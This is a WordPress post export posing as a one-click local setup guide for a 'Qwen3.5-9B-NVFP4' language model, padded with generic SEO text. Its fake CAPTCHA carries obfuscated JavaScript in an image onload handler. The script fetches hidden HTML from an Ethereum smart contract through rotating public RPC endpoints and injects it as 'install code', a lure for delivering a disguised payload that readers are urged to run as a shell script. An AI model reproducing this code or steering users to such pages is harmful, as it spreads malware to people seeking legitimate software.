lYVS54UzdBEV4mtiLRYMuopjrqDKrJ8h3I2p7w+FTLdiaJIEXq3SNdA47Om4sx0dI5g7kWQh2EN0EqGZNFOrexxEvuehgEk2h+zV6\/TH4oqOrRKKnVWckw1ZmTVDiQw66m61+d97WnxABOLmEknJ+MCTrZUWFqLzv+wyTEzOrXRBV4iENqZtL5985REJdLsIbl\/2HdF4Abqw60go3zQzc\/sy3HxMKz+rf4iDXlMg8\/iE9QcjE+7M5uj1yh\/VVPFPZj6fkPduJWq1WAU1bxJbHf46SR2mvjLTv1gqI8C4P24LDMnQfIjg9eeHNEVzVaLPRRCkgS63xupfecRipAODodCP4pPLxtHvQFo48O\/dzGCJzQJjQ24a+alAkA7sh7Z8Gp9\/3qx+b2gLjj6G57IrqM8WNjDgnMtOqrsBf4kuYsHWfabn9NJkSlvSrHdfyFkf8ACRM2ulAO9S2xTdrAzZYWXaZl5p6YTWcfpMUrqJQwkSTOFAlEdn2Ko3c4vl2w6sTmy9imLBJdr\/tf6DGUeDda3hTFnZzWnrxOjU543k8X+XSTpUrKoud12V4Jm1D3Ij+D\/yf0BcHSrOedB8R\/fmvJjJUOv4XaKEP66j4l2GN5NSgO6pu2RYoOUIH32\/iJB3OKtNaxQMHSsTp0dmBcjq4NSgjv9I8sfcu3i71szJKClK\/9Uk8z6WGS0b2InHJ5GeDjnw3ZkDgP6yUoSeZZiBwdGPU3x1OoU7BUjE3B3AMdRHEZkmUG45Br1ZvU16McJz6\/r\/WuHLgkRGNcm0SGcuCWneNvALNaSWVkdoZ6XafUZiuSo5L\/V19eS6zowimxOm+NsNEhlyb5kJCZ+H\/JXiDQeO1F79gmAdhI66Z3f9o0PMjviPVth9UtZ4xmGHwH6lVk\/9f8xpi+dcGlmLyV87R8dPtbt60GJdkarnNhwRCYvzb9oc\/QYgPnivYA8ZprXYsalWRgSX21+r0l1byatKdwTSt+1F6JNV2iLGYpyGFubpBYc\/28kHf\/nLQYWW7W4QjC6\/ZBurabENMu1qO4aTbyNETA9nAluo1kz8tKUrL9X+9GqotfQW16vy+iT5zTQxM65m0wMLUgV5S5xJiGrbZPV8L0QJc0yjlKNwiMuuwma42XfEzowTUHN0BQyK2I5rBds0RLyHRmCgO6PDtvoTu1iDoPonkxvq1Wpf2r9HhGNkQl5qYA\/woQDKbjdmsy8RVtjoEyUnCN8W\/9qLp8ZLd8Tp6CrqZEQeLxXfxWmJUwp8y9W2QVol7UR0Hn3j68HpT6DXSV\/IYOK1XdaQ3TqQCXVZwe5Z48gjWByFPyeR\/LO8lqMLAov\/ccivwee6d5fDzktyBvZ6Nubfm0x9H\/Kbq7MVU83HqmXUGCrrg7IJfH\/KcUie398UVuYxwFi9st8oKlNeESaXYPfuhcJJQuz63FJGRn3V2UaDdaGp2hvENYeterekxynqz4Vm2EVTEEHwZKRXlUoU3AxZliww2+5+XOdtIH2A3z21RKP+JmF1j7Ue61OF3pzAYYpKmP2rL33FYkBcBebiqWJvESroFHy08VxOIXiKow661GRUQuOwTcw5Atnp4ABl1oqJgVLKsIgTaJU5qifyjimbfRM7fQvcpFHfD7Y4sbOnodHxLSiqVVRH2I6CeB0QwSQcGDju8Fx6vwlv3EJG9XQ5wH9h0veSjzs3JWHLfYDunWrJI2x3\/qgc3Clq1Eiom1DaOxW7uDFKybQoJVBo\/o+MZ1oNJZ\/ZYGjvaE41Zouu\/pdE+ziz5yYs\/QadCn0QNO5w+ovc93Q0k8XS0Yn0KdYeEigvIKsQ8Ua4yIaicVLhQZL\/cXo9iu8X\/JWBTU2p9vyG0ND\/pzZObWYGTv1PiW6\/hM\/uWlfpoYucgoY24voYkLm1sVCX\/M2wudld9z8aKi3tsNrpiUi2jC8zipFZO+vc0RhAMVlabMQyszyZ4QHLnn2605bC6ZcH0E7CMHaB5HP\/TUsqpp0n0UMfaweBghXMzLRSzSxUfJ\/cJbLcSiMQmiKvbPd9OOHlksHfKOM4vhe7+N4BGMVlVJIpJqFOjOuYP4qqS5JbtTJ1wsJSku6siVoFBIjQrMBATaJntLLmCsl5axiZtzHanCPOeTwO1mrAEqxqET8z6uoZYmzQtBiw6SKcRAGLyug5jbaIg6z4suiMd6dBUNlESn4nvSyqQIpXv5YffIMmPdWTQ5sE+XdNpnfacaNPN5XhJOQl86qpjw6PByPAfN3UpmmmSnSjeJs+OcQd4xn6ZZ8jhdGCfgz5FHT1j3G+unJWjic2X0aIoXTCPHIuajzXsviiIlBZM56ybHxzrxBp+0kF12VuxzdM7AY82fkxD9X133Sr1FfMHnw39P7MCy2Yiqgwh1Gjj9k32YAkangEsC8cFg+W+J4\/ohDav\/I2GGftOaeydd91UEd33kn6gPP+jHRajoEiDbrhfCg90BJdzcBZYwTtAOXeiC2KogmVuFLaeF8WNr7\/1ekNi3MTFHvQylqWXb6BlIzsqGCBVbjgulEVwFcDFsyQpSfjyfA7LozmFhMYPjE5e\/oIK0uPUXwbYvzLhCkolv5KMUC+qBN\/4ZLu\/s0GI\/AnOx9a9cOIzDGJqU9Ma4IBuvXiozRMgaLX5muOsVbTOMST+RyPIXeOIr3RsiBYfqka+urBMxA0cHn5HHV+2tTZPYSs5gjioxzqMYVg73VJ\/q8J5G1Ujd\/v1ckWUlbqnpz7mJMcXqWBZIH3wRABLY0hZSgJPLUVRs+WBWTTYRcmQJeyo79whCDC78gkESXJmW\/QlZbIgbyikfG\/a9PLdNrgDFdlKfQ39UZ0+yacJfu0leaIbprZSpFBmAxoaYeB4rCsgNUW0e37+cQq3Rc9tdtQLr6T4VyoToefII33MqeCuOWanTVeIgWlmzein8yXc8VrBa9BsMIsX27cTUCM2rFuSRcfd6Cc1neNUK4QlNlPauo6uWceS+Dcs4jYnGv2WHpGZdxnnuslqusEAs8rLsbCv85Bm3aBftmmV1RTgO5+7fGcosrOSfD5i1WQ1TzKCqNFW2oLYAukjz6W6bamdLuk3OCmfWR08NnyclE0odtPqqxKQYWLpXB0YCDkYEBDLMLfvlkAewByfMAYGZe6ZX4e7hcNt6A0ee6kFJ7X7DQAyGYZMUAt48WoJO6wwXB26QLz44WuxtMPoAyg9EjH1kow2aHDA804cH1maJBZNX6ngwG3\/WPR75aiRq8YOgU3IDNtqnBg8Er6yPc\/yFwtCeo\/2etMqz4qGyc8djww4BB8nWOx9VB0Nbvz6acOGqp7Ly6JZ4uvGXJYqu4FjQADWnn9a1NxRyziQW9bVd4Mx8vd2UFhukxN2e3HS4+AXrFSXd1F8kXrr4+JRzImk\/QZAbgOuLUYvVCwcisXTtJvUNCNQ4O8nVpL7\/\/xGzbhW7nqWmVeom639C6PDdZ9RiK6pue9z89Ovs+scnwFZS5mAbaSrIaR9m33unZZZqyPi6O5ryUa80uTBj7nJYMfTNe\/edHI+27KX4Vw4kZW58vFg5N6cjva8Cgr+o3ScfE9vPKkuycx+x48F4xwicOsQUHqxwujhDyoO4kBS5i+DH5CXCdT0dfWAtLwtVJy7PxNlpvOBTyrLFKM4i7J0PPHfr9C6fT0AgUX\/NYCPAAjbFfuqqeC3YtFoaGH90awWcQlIm0xlaGWia\/c5cpNrW0n4PXbrIsFYMN5QhlQ85+SQxV\/JV0ElJG\/3E+jNDu4HCReT+VzbX\/Un8ACcfmLbs4d1jTSihQBMLZQ0AAFtYInkHW9aNkysyB1XAVH5bPAiSFQls5cZRTajl4t3IjRpEwv3k4O5H5C6RxQSqSltnhK\/l18b1dJRyLI9Uy249EqlbKGICGFK3DHGIK0EGYCC+XmrtwnZYl0tUaquTknyDzNjvqFk7PyOE\/0dHgIZLJLjq72qtB6wLRGhs0BAK9b6yHgPI\/wwAK8JIyDt71lCg34EcZ39wNn1Ry0Pu0LIJGei5gT9ByQ0AdcWU5r8Tw8FjAq6H\/GXSMRmLpB34iKy2hm8anWM3KzgwaDNDPLjEZ28RjzOvSYj3mLRdzqv+UIQbj+OjRt\/Ia7pqDHGZxGefSs4g9+O0AsP6vkj62oreykSU4K5Sia3kHiIaywe9Uu0qjSNuUcGo8Hm0LZLzL4N32+w82Fpme3QxdgMclvLJP+kTxb5IeaapSEc\/hTnt1a4hIF+rKkUGU5ySHs7yQSfKoVSKwv5md4FpHmDmWo5xJN\/IFROA79QCK3TTVGOamN1lgsztaSep5mmu6Q9uvVQfnPmG+02HN1mUTd6KaN6v\/fvIgAbOBFQBP6XlSvFdC+jDs+R\/ynxUNpSsdd9yDzqpuKiDphTbA8+3lNa6tDDEEjYFAmyN1eEsDuWqAYF+pv1xqPjubZCcMmzqSdvhzkptI29rZBybqVc6CJMThbN9KjKHh7JwgZXXNgO\/pV3Y1+7rnFWin8e19YgWfy5\/57z3Yc\/p7tWd5Nqu1CmycDXsPecq0ASG6HnjAUCSKpB\/a8cO0DnZTMAfyyaaE1q9JPiMo2\/1t8Mx8cVB0EFEUYJoyzTvcudkQ4AJDJJs0QJoMD5\/66\/SqvX6n+gBLMAAADZ1ewDxlIY26MobLdZOvuQqqvwGLds4dF0i+wD8qW1lObn2GGVsfG8LU8jMuveHJezaBpggyalhivVTbyp95MV6+gjit9quQBq\/fwvpV1xExDgRFa2UPIKUVZhK1wRK9jwJiCzecOVw9m2SvH0Jyo1add0xs7U+SY2JYttleve77PgllLi+drFPt7zL4Gmy0+ESDEok8RiZuh3A9fKxcGH6OWLIxPoSROX2IiwYu+Dw3t10aGA0sMBUzNZ9eOWbarmPIPNuNncnuc8GjsQVFZrcKAkNRHl4+uUpiB5QNVhTTaTFYZoyd3J4qUVtVQXYtTe7saPsgr2d1AzoruLMov3zHGqHTGf5RVbPYfSNRrKiU4Cexverf88I8+OrDDXoFlRXcjx9Dh6YImStOtGH9V6v6ed\/MoWi6J4I2wayGQ5M5qTzN5kFMrmXxow3RKdRp4bHFFsZ+XLX+aRtQJmONuKb0p+7AHY2sxTUQiUVGqfsz+AcYy2Np5z7B3DPqNe1A7xkOE3vsKxIN7RhHSkRs55B00ePLPDVy\/m3FgyfIuNad7eAJ\/NaokxJ5BOR4XIlC0xwrbTe6bCWkAACnLkkJSxCmgqm3omze7YX1LQnMAhvvy+cNkPDb0wHJ8CHvf7T8feoKf\/mO\/vCYwnFwvKl7BZeerT7gz8furmEz+Fopskdp2yDUVATt7Q7\/i3391fS0DrmKj2MamoIIyrP9pr5u3be2c1s3ey2KGW5sWKypNS1vwAFDkR4l4+BShaaBElNC\/4anXlIFQJ+N9lpWgD\/rscf1Xc1YwQJ7m+Eyfi1I753+etRQoWPXxr5I7CsWX+IDMnLDGRhYZ\/F5fDX+FSSr4paAqpRCbGiSln8irMWKtrSMqQh\/SORIC9Mvr8u9LaLQxl+NnfljJ7FlVepunongWxWazZ5lexLtjkeL1eBg55YbIdpzoMH4gwQhtvfbYvNonriomAWWtzM4tGsb+0RcXeMayktyNeAlob8VbKM5UYr+\/MEeaQCd2AAABS2tYkO58VBHPmz8XSAfOQ8IwASs2VwcZN6I501Qeh37P0p2U9e93WuOtTRxazgWyihDBY2tcUe7WI3hJnTd7SfZZGe59t1mD9nV0WiJ8hHXrEgiq0GXJn68YAQiOz4PRyYN+s+2Ih0fqJrE\/E0lMaqwaChvPqi+2lr+pj6R8g+JeGpf9cTTvmp2bssR2GJNISa\/DrDAcZPk8zVbgM7rPwnBDxAlIjis6qXaETYMOY8SOdkZjP9UctoeuYcUQXGR0SSc0zDRL0Q\/FaeC2tk7+JYgK\/p9yYUMvmZnCuJUTpSuvG0dIeVQp\/OXJ7Mzn5eFE69I8PgpEwCPtwvTqLcuAgkDVeKobzu5GZ2fVeEbRzxXGjMySuUTgogkHgjlHPOFvqnA0hxvMe0dfCSihfg26Ik9wL8w7DTYb2Po+ipxPkQWWWG4qxyWLm6m7kfwKJfS8ge0Twv5a8AuVFOp0qWwdgPCsqF\/RzEXAZelDqvWJ7Fs9P5jx6s\/HP7iilQ\/bu0VBNeimq3AG82Wwh1afpbAL25qvC2YcmI9cbjbdSTsgrnhK4all0TvZyZ4l\/HFL5Pm1U6jy++YMiasHG5ri5H16n+nHdHFdQal4O1Uteg0ww7QyyWbv+bCLkBXML5Q02XXY4K4eLYJ+aU3RNGLwI8MCM1LcpIH1qdGPuCFFTAgGL\/dwwPiMhOfDGEfY22MuXneDbn4f5f080L+OSN\/Lt\/CbPgRfAydyN8tNvF8HcJIr3ln4AAB8Y4Ri28RwpOYSg\/IAQCafz15DlviQvJ3hqBaF92vI4Dzyk+5cvI9eP9iyQ2OHk\/3El7YoMEyQnXo0vrxQt9EgAAAHSx6VjUbS2IctL9yFmuKWHyTePVfRL9pbXOV9erCnYBTPG2T1nCzW7eqcrQZ\/IV1EsTL4ngKISafF2E8TLfa58vmMYmXutd\/fYHv3ZqiDG6QD6K\/rM++DfE7G3Uv4a7eilC8hVPbz56bchxwXP5y7tZfgnCAzfUTVvhDDzv3sxs8pc6GphUEms4ylgpw4AOA5GtWpr2XLvuYjciB\/pED8fjs1tTGmNQsE86zZhd0Tr4SfE5uwV1nHuSwzCX+aJ2F5INQ2SG7xezOp\/leQdRsUC3LMB8Nqsc2aUov0jxQRnSX8MuXIPhZ\/uPeC9Bo3frRad483uPU3Hmw\/QTCN97eHG4KGZINnMAFop7r8f2thChNAoynT9yXVGzB29US\/qlS2hrYu+jYe\/WDtk+NYHOWJSky\/V5DHEsOw5uS8FtmS7lINvBuo2\/Y1NWXbPSnyKS8tzsdzJ7SozzFEFUIg3aWILMh4pqtQ4o7UDo7ovHv+FJQHNn46skC+dZmBl5td8jmNvLSSWcpsAnmzIj4ZA1e3evw7vCGeOW4+YDD+7dC2zL1MROqOXtwE2xeBJsb0A75vSjSWQFVg\/Guv05d0o2NmkIKedwif+h2z\/fyyElnDvkkwVFlUTdKd3JrBWMRkPUb83wqfCJmjpt7mtQgX4QsLiFlOlvGtytzXpkLG\/FuX3ElNSWjTCmwq0kx8pAOWx9Le+fLTSARDG71vQn5Mq95XSt7\/z1pex1DYCHH3a9YsiUwMV++awIUKZ7VXju2V4q1Gu7bhDghB6lCQwAAASkolwKkuhHpdSKmBaJaelo+NRMDfMVbIyDAW7HCJK1d65JiGd2\/6y7FaqpyLV9d3iq31jl2pUu8+4C6iX4UMJMjP5ptD07Wcyyt+3ItIYjMb40+t3XLsck56YMXHDjLJTugzlJvtDIT9zWoedOjPCoirkIkksmvSNlGr4kDwCCZ4Cu4jf0hQ7oXHZmfw\/cF6f+ND\/+UrAWAFyyyROR9ms7N+EpV35stjIPmJ92VsNwE0szLaFPPjjOoEwuLFehrA+m1TV5l0iZujcBfinyEfToaIB3UTkbMSExfBIZkwPOYzEGBT4fOQjdVeI+x0Fh9ltN1areoNMgeoRwbiZ4+emb+sUMnF31rT7VYPywDxKEOYlh5tccrkZF5Axs+I0WgOs4HP2dvZW4xjSZGfFfQBrqAlEtlleURRWmQTnK39xE3S2sCWa5XA94Ra\/eM7TKNgx406fPRz4WjUjbrn2jZQTcLgX7Mjbge6Ivb8840sMokenJgtymCN+5+hQnkGxNhaaSwm1fRsf\/OA17U+mSP97uiYgDLgV2p5BNbOALjm1ej+mC4Hx+ilJ6UivptOixFIdxfvljOwlivHd\/se2xSYJgP5KJPaE0xZJG5AZmlAT7WSnnvUIMH1Q6liu4Wmxa4xeD0+DbF0LcM6LkLMB4wphgoRMwtB\/9HNKoOTDSUmVz0lSR7nxMWonayMIryoOr4idNBnbDjhrxnjtGbje+UnF5wpJkeC7hagvfjL5qF2l6HIkavmjz5hI5CDKNqXUERbbAExAIO6CNbrb7YkPiItLcwk1z6nbLaaNOl5lreLh7rqs6CZ1UlCU3WBcnvtZlDfJ9Iq0ggUN8ONdk6IE7KzEYzx4auq0OxozpzwOlQhFAH+f5MO0XMKaZdgF8GWizodYnoU\/fTq56fC3wuChLiP1HclP6ts4iTQs3h7onAwsLaKaO5cd6iXWDVZpyf\/PWNlVknj+S0PKtuF8S91b+CZsy8Z2bNdB4TXbspt0t9dDBDnSyFt3aEYtafrd9WWS9mNrTQmO7UwlbE9ZRywN69jDKINwL6uxb+LTVGtvIXCKHpXpP5BvW89wkF3KyDBXWYmfyYBC5NRotjWrEbbrBdFRAmnrl5GViTHRyqSpJlj5MLFQ9NmrlMgii826IikulucqalapA+OuDH5TVGN8uvpC45XSKc+FM7j95E1FZl\/5IYI3e7lf\/NuGAfrzHEOLpTfdyyiuLDIzkoqMLVWjpUkztSdNDGct5IGjhtfQQYfNb+CpHls5g\/MUFBIGLi5qk3HjGt4vA6rrvrI\/JeZtaiA1vrVi\/c7\/LhBQYFwpXZStX3U7HPi7GfFLTNnOFQBYGsYkLqapJfFZDNk9i+G9SXzSAPlxEVTKTHkbiziSiB+vw3x7sFAb8aNSqAfvM33yVAB9z60Cj6v6qn2IRm18w5VmCTem3WnKn32LWl+BCsUD2eZUoWoYu4VLiNW+\/aKQHxzNibOdYGq3w0DrzkkhxfMiEkcbonJ+jg0SXb7H8P\/1odE4y5MLZsgZgEQTwiRLnrrWirme40DJcXOAI4SUjSWWCSwbRrI1DrvGfUYV18mEOPcZQev+UwLHD9dbg3EzjA8y8\/4Amm3GMIOR18Nv228incgZkhr8IvLeNt716Xu\/RHwUECPMBlMks\/B3hRMIww1pLVhVYt+1lEybug0YF1cACqi82RKWvmtlC9GTQ9jj3HWEgruv20ViIf6IhTU1l8Y6jnUmFBEBLZ6foOD7N93YlyNgtGPCVrj6GctIebKXd1asw3zTF77nAmYnmvl2\/9smMAWkEgH2GqXQZ58PbsugaHaQw8vx6QCnPsYhTvZq3KF2VUZWsinTBShMZJqWSFY0SowxxOBdSzlsDPy4Fnqj+\/7a+m\/atZtJzoF\/3CDRZV\/MijhAa1tlgqU\/bB9bEzJ0a9ndM4Mx5kOOFZNHreyU2CYYWTcOov8BKmxgLSjPedQX+9X3gx8y0k+51T66ervGt2Yvv91f0fNpI9odpsyarydIuuAxQHob4GN5oVst2MWZo66mdjRP3AOJKRLdKy+A0bCR5UTWL+VEisUwUi7TFLZvdaH3NwQ+KfCUDqdyBRMFNEA7fIKPrn6RJ8S7+nn1MC2OImHDopTIcC+xWYK3hXjpzo\/d+SpP9NJeX4Jsops9d0NHGuLGySaH\/RSrWYHYHOILKkWiM7dKswF05Mi23KAzWDHgB9qFXXaX9SATc600G5NhOiozAckN+AegGIcotBkcGMiKjn4X2tjdai\/Jq653C8+74IVGP+cyCCi+zw+ctHGhIOzlz987hc2P3P4an8NMGlYOV+Uw9SeXsVIW2Zw7UjBIbmYDlzCoeGRbEcFicHT6wVm0MliZVJIWHZtMpE88TGvALeBtnMrai4Dk3VSKcD9aOICtiaiBAdQQgY0C4TVtRLbMNgc5YF6YtgwfMhdf4EqnAAAA==\" alt=\"Qwen3.5-9B-NVFP4 via WebGPU (Browser)\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For an <i>instant local deployment<\/i>, running a pre-configured <b>shell script<\/b> is ideal.<\/p>\n<p>Proceed by following the <b>technical instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>The smart installation system will instantly <b>find the perfect configuration<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 20px 40px rgba(0,0,0,0.08);border:1px solid rgba(0,0,0,0.04);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4A4A4A;font-family:'Roboto Mono';\">\ud83e\udde9 Hash sum \u2192 da99c64347c4002b0df829a2af20eea8 \u2014 <span style=\"text-decoration:underline;\">Update date:<\/span> 2026-07-07<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'f0357759_webgpu_browser');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>The Cutting-Edge Language Model: Qwen3.5-9B-NVFP4<\/h2>\n<p>The Qwen3.5-9B-NVFP4 is a cutting-edge language model designed to deliver high performance and efficiency in complex tasks. Built on a 9-billion parameter foundation, it leverages NVFP4 quantization to achieve faster inference while maintaining strong contextual understanding. This unique combination of speed and accuracy makes it an ideal tool for developers looking to tackle challenging projects. With its advanced capabilities, the Qwen3.5-9B-NVFP4 is poised to revolutionize the field of natural language processing.\u2022 Key specifications:  <\/p>\n<ul>\n<li><strong>Parameters<\/strong>: 9 B<\/li>\n<li><strong>Quantization<\/strong>: NVFP4<\/li>\n<li><strong>Context Length<\/strong>: 8K tokens<\/li>\n<li><strong>Training Data<\/strong>: Web-scale corpus<\/li>\n<\/ul>\n<h2>Key Features and Benefits<\/h2>\n<p>The Qwen3.5-9B-NVFP4 boasts several key features that set it apart from other language models:\u2022 Reasoning capabilities: The model excels in complex reasoning tasks, allowing developers to build more sophisticated applications.\u2022 Coding skills: With its advanced capabilities, the Qwen3.5-9B-NVFP4 is an ideal tool for coding and development tasks.\u2022 Multilingual support: The model&#8217;s ability to handle multiple languages makes it a versatile tool for projects requiring cross-lingual understanding.<\/p>\n<h2>Technical Specifications<\/h2>\n<table>\n<tr>\n<td><strong>Parameter Foundation<\/strong><\/td>\n<td>9 B<\/td>\n<\/tr>\n<tr>\n<td><strong>Quantization Method<\/strong><\/td>\n<td>NVFP4<\/td>\n<\/tr>\n<tr>\n<td><strong>Contextual Understanding<\/strong><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td><strong>Training Data<\/strong><\/td>\n<td>Web-scale corpus<\/td>\n<\/tr>\n<tr>\n<td><strong>Hardware Acceleration<\/strong><\/td>\n<td>FP4<\/td>\n<\/tr>\n<\/table>\n<h2>Optimization and Deployment<\/h2>\n<p>The Qwen3.5-9B-NVFP4&#8217;s optimized memory footprint and support for FP4 hardware acceleration make it particularly suitable for edge deployments and cloud-scale services.\u2022 Edge deployment: The model&#8217;s efficiency allows for seamless integration with edge devices, making it an ideal choice for real-time applications.\u2022 Cloud-scale services: With its scalability capabilities, the Qwen3.5-9B-NVFP4 is well-suited for large-scale cloud-based projects.<\/p>\n<ul>\n<li>Downloader pulling optimized code-generation weights for disconnected software engineers<\/li>\n<li>How to Run Qwen3.5-9B-NVFP4 Locally via Ollama 2<\/li>\n<li>Installer deploying local bark audio generation pipelines with custom speaker tokens<\/li>\n<li>Qwen3.5-9B-NVFP4 One-Click Setup 2026\/2027 Tutorial<\/li>\n<li>Downloader pulling advanced upscaler model weights like SUPIR-v2 for Forge UI<\/li>\n<li>Qwen3.5-9B-NVFP4 on Your PC Offline Setup<\/li>\n<li>Installer configuring localized guardrail classification models for input validation<\/li>\n<li>How to Launch Qwen3.5-9B-NVFP4 One-Click Setup Step-by-Step FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/kinhs.com.pk\/category\/graphics\/'>https:\/\/kinhs.com.pk\/category\/graphics\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For an instant local deployment, running a pre-configured shell script is ideal. Proceed by following the technical instructions below. No manual effort&#8230;<\/p>","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"rs_blank_template":"","rs_page_bg_color":"","slide_template_v7":"","footnotes":""},"categories":[147],"tags":[],"class_list":["post-9078","post","type-post","status-publish","format-standard","hentry","category-workflows"],"_links":{"self":[{"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/posts\/9078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/comments?post=9078"}],"version-history":[{"count":1,"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/posts\/9078\/revisions"}],"predecessor-version":[{"id":9079,"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/posts\/9078\/revisions\/9079"}],"wp:attachment":[{"href":"https:\/\/www.mc2devs.com\/en\/wp-json\/wp\/v2\/media?parent=9078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mc2devs.com\/